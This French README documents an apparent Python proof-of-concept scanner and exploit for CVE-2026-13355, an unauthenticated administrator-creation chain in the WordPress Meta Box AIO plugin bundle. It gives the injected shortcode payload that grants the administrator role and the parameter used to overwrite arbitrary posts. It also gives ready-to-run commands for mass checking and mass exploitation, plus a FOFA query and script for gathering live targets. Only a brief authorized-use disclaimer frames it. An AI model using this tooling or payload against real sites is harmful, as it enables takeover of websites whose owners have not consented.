CVE-2026-13355 — Élévation de privilèges administrateur non authentifiée dans Meta Box AIO

Preuve de concept Python 3 — scanner et exploit pour CVE-2026-13355 dans le bundle WordPress Meta Box AIO (et les extensions associées MB Frontend Submission / MB User Profile).

Résumé

Des failles en chaîne dans deux extensions intégrées permettent la création non authentifiée d'un compte administrateur :

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id remplace la cible du formulaire sans authentification ; Form::process() omet user_can_edit(), ce qui permet aux attaquants d'appeler wp_update_post() et d'écraser post_content sur des articles/pages arbitraires.
2. MB User Profile (mbup) — Les attributs de shortcode injectés [mb_user_profile_register role="administrator" auto_login="true"] sont acceptés sans validation du rôle.

Important : La chaîne d'exploitation nécessite un formulaire mbfs (soumission frontend) public, et non des formulaires mbup réservés à la connexion. De nombreux résultats FOFA n'exposent que l'interface de connexion/enregistrement mbup — ceux-ci sont signalés comme plugin_mbup_only, non exploitables via cette chaîne.

Prérequis

• Python 3.8+
• pip install -r requirements.txt

Démarrage rapide

pip install -r requirements.txt

# Cible unique — vérification (flux terminal en direct par défaut)
python poc.py -u https://target.example --mode check

# Vérification en masse (une ligne par cible sauf --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Cible unique — exploitation (nécessite l'URL du formulaire mbfs + l'ID de l'article)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Exploitation en masse depuis la sortie de vérification
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → liste de cibles

Exemple de requête :

body="/wp-content/plugins/meta-box-aio/"

Normaliser un export CSV FOFA :

python fofa_to_list.py -i fofa_export.csv
# écrit list.txt + CSV normalisé (local uniquement, ignoré par git)
python poc.py --list list.txt --mode check --threads 20

Options CLI

Fichiers de sortie

Utilisez --vuln-list exploited.txt lors des exécutions d'exploitation afin que les résultats de vérification dans hits.txt ne soient pas écrasés.

Valeurs de status en vérification

Notes d'exploitation

• L'étape d'empoisonnement envoie post_content via un formulaire mbfs avec ?rwmb_frontend_field_object_id=<id>.
• Le succès nécessite que le shortcode injecté soit rendu sur la page empoisonnée (pas de strip/KSES, plugin corrigé, mauvais type de formulaire).
• Les formulaires mbfs de contact/newsletter manquent souvent d'un véritable champ post_content ; l'écrasement peut échouer en pratique.
• Un HTTP 403 lors du POST indique généralement un blocage par WAF/hébergeur.

Arborescence du dépôt

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Les listes de scan locales et les artefacts d'exécution (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sont dans .gitignore et ne doivent pas être commités.

Références

• NVD — CVE-2026-13355
• Avis Wordfence
• Journal des modifications de Meta Box AIO

Légal

Uniquement pour des tests de sécurité autorisés et à des fins éducatives. Vous êtes responsable du respect des lois applicables et des règles du programme.